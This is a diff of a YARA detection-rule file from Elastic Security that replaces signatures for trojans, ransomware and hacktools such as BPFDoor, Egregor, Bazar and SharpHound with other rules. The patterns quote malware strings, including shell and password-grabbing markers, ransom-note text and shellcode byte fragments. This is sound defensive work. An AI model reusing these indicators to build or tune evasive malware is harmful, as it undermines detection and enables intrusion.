-		hash = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
-		logic_hash = "b0c4b168d92947e599e8c74d0ae6a91766c8a034c34e9c07e2472620c9b61037"
+		id = "fedac96d-4c23-4c8d-8476-4c89fd610441"
+		date = "2022-04-07"
+		modified = "2022-04-07"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_CheatEngine.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b20b339a7b61dc7dbc9a36c45492ba9654a8b8a7c8cbc202ed1dfed427cfd799"
+		logic_hash = "426b6d388f86dd935d8165af0fb7c8491c987542755ec4c7c53a35a9003f8680"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e7f92df3e3929b8296320300bb341ccc69e00d89e0d503a41190d7c84a29bce2"
-		severity = 100
+		quality = 35
+		tags = "FILE"
+		fingerprint = "94d375ddab90c27ef22dd18b98952d0ec8a4d911151970d5b9f59654a8e3d7db"
+		threat_name = "Windows.Hacktool.CheatEngine"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = "getshell" ascii fullword
-		$a2 = "/sbin/agetty --noclear tty1 linux" ascii fullword
-		$a3 = "packet_loop" ascii fullword
-		$a4 = "godpid" ascii fullword
-		$a5 = "ttcompat" ascii fullword
-		$a6 = "decrypt_ctx" ascii fullword
-		$a7 = "rc4_init" ascii fullword
-		$b1 = { D0 48 89 45 F8 48 8B 45 F8 0F B6 40 0C C0 E8 04 0F B6 C0 C1 }
+		$subject_name = { 06 03 55 04 03 [2] 43 68 65 61 74 20 45 6E 67 69 6E 65 }
 
 	condition:
-		all of ($a*) or 1 of ($b*)
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $subject_name
 }
-rule ELASTIC_Linux_Trojan_Bpfdoor_E14B0B79 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Rbot_C69475E3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Bpfdoor (Linux.Trojan.BPFDoor)"
+		description = "Detects Linux Trojan Rbot (Linux.Trojan.Rbot)"
 		author = "Elastic Security"
-		id = "e14b0b79-a6f3-4fb3-a314-0ec20dcd242c"
-		date = "2022-05-10"
-		modified = "2022-05-10"
-		reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_BPFDoor.yar#L129-L152"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dc8346bf443b7b453f062740d8ae8d8d7ce879672810f4296158f90359dcae3a"
-		logic_hash = "7cdf111ae253bffef7243ad3722f1a79f81f45d80f938f9542af8e056f75d3fc"
+		id = "c69475e3-59eb-4d3c-9ee6-01ae7a3973d3"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Rbot.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9d97c69b65d2900c39ca012fe0486e6a6abceebb890cbb6d2e091bb90f6b9690"
+		logic_hash = "2a8629ebf6e2082ce90f1b2130ae596e4e515f3289a25899f2fc57b99c01a654"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1c4cb6c8a255840c5a2cb7674283678686e228dc2f2a9304fa118bb5bdc73968"
+		fingerprint = "593ff388ba10d66b97b5dfc9220bbda6b1584fe73d6bf7c1aa0f5391bb87e939"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -97342,32 +101737,28 @@ rule ELASTIC_Linux_Trojan_Bpfdoor_E14B0B79 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a1 = "getpassw" ascii fullword
-		$a2 = "(udp[8:2]=0x7255) or (icmp[8:2]=0x7255) or (tcp[((tcp[12]&0xf0)>>2):2]=0x5293)" ascii fullword
-		$a3 = "/var/run/haldrund.pid" ascii fullword
-		$a4 = "Couldn't install filter %s: %s" ascii fullword
-		$a5 = "godpid" ascii fullword
+		$a = { 56 8B 76 20 03 F5 33 C9 49 41 AD 33 DB 36 0F BE 14 28 38 F2 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Bpfdoor_F1Cd26Ad : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Rbot_96625C8C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Bpfdoor (Linux.Trojan.BPFDoor)"
+		description = "Detects Linux Trojan Rbot (Linux.Trojan.Rbot)"
 		author = "Elastic Security"
-		id = "f1cd26ad-dffb-421f-88f1-a812769d70ff"
-		date = "2023-05-11"
-		modified = "2023-05-16"
-		reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_BPFDoor.yar#L154-L175"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "afa8a32ec29a31f152ba20a30eb483520fe50f2dce6c9aa9135d88f7c9c511d7"
-		logic_hash = "ad3e130d5a1203c55b5c8d369c7d9989f66f76c9bd57e2314a30f4c931e4b98d"
+		id = "96625c8c-897c-4bf0-97e7-0dc04595cb94"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Rbot.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a052cfad3034d851c6fad62cc8f9c65bceedc73f3e6a37c9befe52720fd0890e"
+		logic_hash = "5a9671e10e7b9b58ecf9fab231de18b4b6039c9d351b145fae1705297acda95e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fb70740218e4b06c3f34cef2d3b02e67172900e067723408bcd41d4d6ca7c399"
+		fingerprint = "5dfabf693c87742ffa212573dded84a2c341628b79c7d11c16be493957c71a69"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -97375,30 +101766,28 @@ rule ELASTIC_Linux_Trojan_Bpfdoor_F1Cd26Ad : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$magic_bytes_check = { 0F C8 0F CA 3D 9F CD 30 44 ?? ?? ?? ?? ?? ?? 81 FA 66 27 14 5E }
-		$seq_binary = { 48 C1 E6 08 48 C1 E0 14 48 01 F0 48 01 C8 89 E9 48 C1 E8 20 29 C1 D1 E9 01 C8 C1 E8 0B 83 C0 01 89 C6 C1 E6 0C }
-		$signals_setup = { BE 01 00 00 00 BF 02 00 00 00 ?? ?? ?? ?? ?? BE 01 00 00 00 BF 01 00 00 00 ?? ?? ?? ?? ?? BE 01 00 00 00 BF 03 00 00 00 ?? ?? ?? ?? ?? BE 01 00 00 00 BF 0D 00 00 00 ?? ?? ?? ?? ?? BE 01 00 00 00 BF 16 00 00 00 ?? ?? ?? ?? ?? BE 01 00 00 00 BF 15 00 00 00 ?? ?? ?? ?? ?? BE 01 00 00 00 BF 11 00 00 00 ?? ?? ?? ?? ?? BF 0A 00 00 00 }
+		$a = { 24 28 8B 45 3C 8B 54 05 78 01 EA 8B 4A 18 8B 5A 20 01 EB E3 38 49 8B }
 
 	condition:
-		($magic_bytes_check and $seq_binary) or $signals_setup
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Rozena_56651C1D : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Rbot_366F1599 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Rozena (Linux.Trojan.Rozena)"
+		description = "Detects Linux Trojan Rbot (Linux.Trojan.Rbot)"
 		author = "Elastic Security"
-		id = "56651c1d-548e-4a51-8f1c-e4add55ec14f"
+		id = "366f1599-a287-44e6-bc2c-d835b2c2c024"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Rozena.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "997684fb438af3f5530b0066d2c9e0d066263ca9da269d6a7e160fa757a51e04"
-		logic_hash = "a6d283b0c398cb1004defe7f5669f912112262e5aaf677ae4ca7fd15565cb988"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Rbot.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5553d154a0e02e7f97415299eeae78e5bb0ecfbf5454e3933d6fd9675d78b3eb"
+		logic_hash = "3efe0f35efd855b415149513e8abb2210a26ef6f3b6c31275c8147fabb634fab"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a86abe550b5c698a244e1c0721cded8df17d2c9ed0ee764d6dea36acf62393de"
+		fingerprint = "27166c9dab20d40c10a4f0ea5d0084be63fef48748395dd55c7a13ab6468e16d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -97406,60 +101795,62 @@ rule ELASTIC_Linux_Trojan_Rozena_56651C1D : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 89 E1 95 68 A4 1A 70 C7 57 FF D6 6A 10 51 55 FF D0 68 A4 AD }
+		$a = { C0 64 03 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Ransomexx_Fabff49C : FILE MEMORY
+rule ELASTIC_Macos_Hacktool_Jokerspy_58A6B26D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Ransomexx (Windows.Ransomware.Ransomexx)"
+		description = "Detects Macos Hacktool Jokerspy (Macos.Hacktool.JokerSpy)"
 		author = "Elastic Security"
-		id = "fabff49c-8e1a-4020-b081-2f432532e529"
-		date = "2021-08-07"
-		modified = "2021-10-04"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Ransomexx.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "480af18104198ad3db1518501ee58f9c4aecd19dbbf2c5dd7694d1d87e9aeac7"
-		logic_hash = "67d5123b706685ea5ab939aec31cb1549297778d91dd38b14e109945c52da71a"
+		id = "58a6b26d-13dd-485a-bac3-77a1053c3a02"
+		date = "2023-06-19"
+		modified = "2023-06-19"
+		reference = "https://www.elastic.co/security-labs/inital-research-of-jokerspy"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Macos_Hacktool_JokerSpy.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8"
+		logic_hash = "e9e1333c7172d5a0f06093a902edefd7f128963dbaadf77e829f032ccb04ce56"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a7a1e6d5fafdddc7d4699710edf407653968ffd40747c50f26ef63a6cb623bbe"
+		fingerprint = "71423d5c4c917917281b7e0f644142a0570df7a5a7ea568506753cb6eabef1c0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "ransom.exx" ascii fullword
-		$a2 = "Infrastructure rebuild will cost you MUCH more." wide fullword
-		$a3 = "Your files are securely ENCRYPTED." wide fullword
-		$a4 = "delete catalog -quiet" wide fullword
+		$str1 = "ScreenRecording: NO" fullword
+		$str2 = "Accessibility: NO" fullword
+		$str3 = "Accessibility: YES" fullword
+		$str4 = "eck13XProtectCheck"
+		$str5 = "Accessibility: NO" fullword
+		$str6 = "kMDItemDisplayName = *TCC.db" fullword
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Linux_Trojan_Mechbot_F2E1C5Aa : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xpmmap_7Dcc3534 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mechbot (Linux.Trojan.Mechbot)"
+		description = "Detects Linux Trojan Xpmmap (Linux.Trojan.Xpmmap)"
 		author = "Elastic Security"
-		id = "f2e1c5aa-3318-4665-bee4-34a4afcf60bd"
-		date = "2021-01-12"
+		id = "7dcc3534-e94c-4c92-ac9b-a82b00fb045b"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mechbot.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5f8e80e6877ff2de09a12135ee1fc17bee8eb6d811a65495bcbcddf14ecb44a3"
-		logic_hash = "2ba9ece1ab2360702a59a737a20b6dbd8fca276b543477f9290ab80c6f51e2f1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xpmmap.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "765546a981921187a4a2bed9904fbc2ccb2a5876e0d45c72e79f04a517c1bda3"
+		logic_hash = "f88cc0f02797651e8cdf8e25b67a92f7825ec616b79df21daae798b613baf334"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4b663b0756f2ae9b43eae29cd0225ad75517ef345982e8fdafa61f3c3db2d9f5"
+		fingerprint = "397618543390fb8fd8b198f63034fe88b640408d75b769fb337433138dafcf66"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -97467,28 +101858,28 @@ rule ELASTIC_Linux_Trojan_Mechbot_F2E1C5Aa : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 45 52 56 45 52 00 42 41 4E 4C 49 53 54 00 42 4F 4F 54 00 42 }
+		$a = { 48 89 45 F8 48 83 7D F8 FF 75 14 BF 10 0C 40 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Sharpapplocker_9645Cf22 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Sharphound_5Adf9D6D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sharpapplocker (Windows.Hacktool.SharpAppLocker)"
+		description = "Detects Windows Hacktool Sharphound (Windows.Hacktool.SharpHound)"
 		author = "Elastic Security"
-		id = "9645cf22-f9b3-45ff-a5d8-513c59ad3d53"
-		date = "2022-11-20"
-		modified = "2023-01-11"
+		id = "5adf9d6d-b6db-43ea-95bd-e9747b82a36d"
+		date = "2022-10-20"
+		modified = "2022-11-24"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharpAppLocker.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0f7390905abc132889f7b9a6d5b42701173aafbff5b8f8882397af35d8c10965"
-		logic_hash = "cb72ecf7715b288acddac51dab091d84c64e3bd30276cba38a0d773e6693875c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharpHound.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1f74ed6e61880d19e53cde5b0d67a0507bfda0be661860300dcb0f20ea9a45f4"
+		logic_hash = "2c9f38187866985109a42ffdf8940b5d195aadd3815b2de952b190d4b0b95c3c"
 		score = 75
-		quality = 73
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "720a96f7baa8af4e6189709ee906350c291e175ac861c83d425b235d9217bb32"
+		fingerprint = "53d295223e2330a973f9495a7ca625c1e9429bc5daf7dda1b84b2aaeca5ea898"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -97496,65 +101887,61 @@ rule ELASTIC_Windows_Hacktool_Sharpapplocker_9645Cf22 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$guid = "FE102D27-DEC4-42E2-BF69-86C79E08B67D" ascii wide nocase
-		$print_str0 = "[+] Output written to:" ascii wide fullword
-		$print_str1 = "[!] You can only select one Policy at the time." ascii wide fullword
-		$print_str2 = "SharpAppLocker.exe --effective --allow --rules=\"FileHashRule,FilePathRule\" --outfile=\"C:\\Windows\\Tasks\\Rules.json\"" ascii wide fullword
+		$guid0 = "A517A8DE-5834-411D-ABDA-2D0E1766539C" ascii wide nocase
+		$guid1 = "90A6822C-4336-433D-923F-F54CE66BA98F" ascii wide nocase
+		$print_str0 = "Initializing SharpHound at {time} on {date}" ascii wide
+		$print_str1 = "SharpHound completed {Number} loops! Zip file written to {Filename}" ascii wide
+		$print_str2 = "[-] Removed DCOM Collection" ascii wide
 
 	condition:
-		$guid or all of ($print_str*)
+		$guid0 or $guid1 or all of ($print_str*)
 }
-rule ELASTIC_Windows_Ransomware_Egregor_F24023F3 : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Adlibrary_2E908E5F : FILE MEMORY
 {
 	meta:
-		description = "Identifies EGREGOR (Sekhemt) ransomware"
+		description = "Detects Linux Trojan Adlibrary (Linux.Trojan.Adlibrary)"
 		author = "Elastic Security"
-		id = "f24023f3-c887-42fc-8927-cdbd04b5f84f"
-		date = "2020-10-15"
-		modified = "2021-08-23"
-		reference = "https://www.bankinfosecurity.com/egregor-ransomware-adds-to-data-leak-trend-a-15110"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Egregor.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "5695b44f6ce018a91a99b6c94feae740ff4ac187e232bc9044e51d62d1f42bfa"
+		id = "2e908e5f-f79e-491f-8959-86b7cffd35c0"
+		date = "2022-08-23"
+		modified = "2022-10-18"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Adlibrary.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "acb22b88ecfb31664dc07b2cb3490b78d949cd35a67f3fdcd65b1a4335f728f1"
+		logic_hash = "0d0df636876adf0268b7a409bfc9d8bfad298793d11297596ef91aeba86889da"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "3a82a548658e0823678ec9d633774018ddc6588f5e2fbce74826a46ce9c43c40"
-		threat_name = "Windows.Ransomware.Egregor"
+		tags = "FILE, MEMORY"
+		fingerprint = "27ea79ad607f0dbd3d7892e27be9c142b0ac3a2b56f952f58663ff1fe68d6c88"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "M:\\sc\\p\\testbuild.pdb" ascii fullword
-		$a2 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" wide fullword
-		$a3 = "nIcG`]/h3kpJ0QEAC5OJC|<eT}}\\5K|h\\\\v<=lKfHKO~01=Lo0C03icERjo0J|/+|=P0<UeN|e2F@GpTe]|wpMP`AG+IFVCVbAErvTeBRgUN1vQHNp5FVtc1WVi/G"
-		$a4 = "pVrGRgJui@6ejnOu@4KgacOarSh|firCToW1LoF]7BtmQ@2j|hup2owUHQ6W}\\U3gwV6OwSPTMQVq2|G=GKrHpjOqk~`Ba<qu\\2]r0RKkf/HGngsK7LhtvtJiR}+4J"
-		$a5 = "Your network was ATTACKED, your computers and servers were LOCKED," ascii wide
-		$a6 = "Do not redact this special technical block, we need this to authorize you." ascii wide
+		$a1 = { 32 04 39 83 C7 01 0F BE C0 89 04 24 E8 ?? ?? ?? ?? 3B 7C 24 ?? B8 00 00 00 00 0F 44 F8 83 C5 01 81 FD }
 
 	condition:
-		2 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Egregor_4Ec2B90C : BETA FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bazar_711D59F6 : FILE MEMORY
 {
 	meta:
-		description = "Identifies EGREGOR (Sekhemt) ransomware"
+		description = "Detects Windows Trojan Bazar (Windows.Trojan.Bazar)"
 		author = "Elastic Security"
-		id = "4ec2b90c-b2de-463d-a9c6-478c255c2352"
-		date = "2020-10-15"
+		id = "711d59f6-6e8a-485d-b362-4c1bf1bda66e"
+		date = "2021-06-28"
 		modified = "2021-08-23"
-		reference = "https://www.bankinfosecurity.com/egregor-ransomware-adds-to-data-leak-trend-a-15110"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Egregor.yar#L27-L48"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "8342d92e1486b1289645828e5ee5f1f6f21a0e645dd7cc4eca908ed59c2f1c4c"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Bazar.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f29253139dab900b763ef436931213387dc92e860b9d3abb7dcd46040ac28a0e"
+		logic_hash = "3bde62b468c44bdc18878fd369a7f0cf06f7be64149587a11524f725fa875f69"
 		score = 75
-		quality = 73
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "6ae13632f50af11626250c30f570370da23deb265ff6c1fefd2e294c8c170998"
-		threat_name = "Windows.Ransomware.Egregor"
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "a9e78b4e39f4acaba86c2595db67fcdcd40d1af611d41a023bd5d8ca9804efa4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -97562,412 +101949,412 @@ rule ELASTIC_Windows_Ransomware_Egregor_4Ec2B90C : BETA FILE MEMORY
 		os = "windows"
 
 	strings:
-		$b1 = { 18 F5 46 E0 5C 94 28 B3 5C 94 28 B3 5C 94 28 B3 E8 08 D9 B3 55 94 28 B3 E8 08 DB B3 29 94 28 B3 E8 08 DA B3 44 94 28 B3 67 CA 2B B2 4D 94 28 B3 67 CA 2D B2 47 94 28 B3 67 CA 2C B2 4C 94 28 B3 81 6B E3 B3 5F 94 28 B3 5C 94 29 B3 02 94 28 B3 5C 94 28 B3 5F 94 28 B3 CE CA 28 B2 5D 94 28 B3 CE CA 2A B2 5D 94 28 B3 }
-		$b2 = { 34 4F 51 46 33 5C 45 6A 75 5E 7E 4E 37 53 49 7C 49 50 4B 32 73 43 47 5E 68 43 42 4E 7C 42 30 48 62 4C 34 6D 3C 2F 36 76 3D 43 5D 6B 4F 30 32 6E 60 35 68 40 33 60 4B 47 6F 33 55 36 71 56 4A 3D 40 5C 6A 69 4B 4A 60 5C 35 2B 6B 40 33 31 5C 63 7D 4A 47 42 51 5D 70 54 68 7D 62 32 4B 72 6A 57 3C 71 }
-		$b3 = { BB 05 10 D4 BB 05 10 E0 BB 05 10 EC BB 05 10 F8 BB 05 10 04 BC 05 10 10 BC 05 10 1C BC 05 10 2C BC 05 10 3C BC 05 10 50 BC 05 10 68 BC 05 10 80 BC 05 10 90 BC 05 10 A8 BC 05 10 B4 BC 05 10 C0 }
+		$a = { 0F 94 C3 41 0F 95 C0 83 FA 0A 0F 9C C1 83 FA 09 0F 9F C2 31 C0 }
 
 	condition:
-		1 of ($b*)
+		all of them
 }
-rule ELASTIC_Macos_Trojan_Metasploit_6Cab0Ec0 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bazar_9Dddea36 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Metasploit (MacOS.Trojan.Metasploit)"
+		description = "Detects Windows Trojan Bazar (Windows.Trojan.Bazar)"
 		author = "Elastic Security"
-		id = "6cab0ec0-0ac5-4f43-8a10-1f46822a152b"
-		date = "2021-09-30"
-		modified = "2021-10-25"
+		id = "9dddea36-1345-434b-8ce6-54d2eab39616"
+		date = "2021-06-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Metasploit.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7ab5490dca314b442181f9a603252ad7985b719c8aa35ddb4c3aa4b26dcc8a42"
-		logic_hash = "c19fe812b74b034bfb42c0e2ee552d879ed038e054c5870b85e7e610d3184198"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Bazar.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "63df43daa61f9a0fbea2e5409b8f0063f7af3363b6bc8d6984ce7e90c264727d"
+		logic_hash = "cf88e2e896fce742ad3325d53523167d6eb42188309ed4e66f73601bbb85574e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e13c605d8f16b2b2e65c717a4716c25b3adaec069926385aff88b37e3db6e767"
+		fingerprint = "e322e36006cc017d5d5d9887c89b180c5070dbe5a9efd9fb7ae15cda5b726d6c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a = "mettlesploit! " ascii fullword
+		$a = { C4 10 5B 5F 5E C3 41 56 56 57 55 53 48 83 EC 18 48 89 C8 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Metasploit_293Bfea9 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bazar_3A2Cc53B : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Metasploit (MacOS.Trojan.Metasploit)"
+		description = "Detects Windows Trojan Bazar (Windows.Trojan.Bazar)"
 		author = "Elastic Security"
-		id = "293bfea9-c5cf-4711-bec0-17a02ddae6f2"
-		date = "2021-09-30"
-		modified = "2021-10-25"
+		id = "3a2cc53b-4f73-41f9-aabd-08b8755ba44c"
+		date = "2021-06-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Metasploit.yar#L21-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7ab5490dca314b442181f9a603252ad7985b719c8aa35ddb4c3aa4b26dcc8a42"
-		logic_hash = "b8bd0d034a6306f99333723d77724ae53c1a189dad3fad7417f2d2fde214c24a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Bazar.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b057eb94e711995fd5fd6c57aa38a243575521b11b98734359658a7a9829b417"
+		logic_hash = "8cde37be646dbcf7e7f5e3f28f0fe8c95480861c62fa2ee8cdd990859313756c"
 		score = 75
-		quality = 71
+		quality = 75
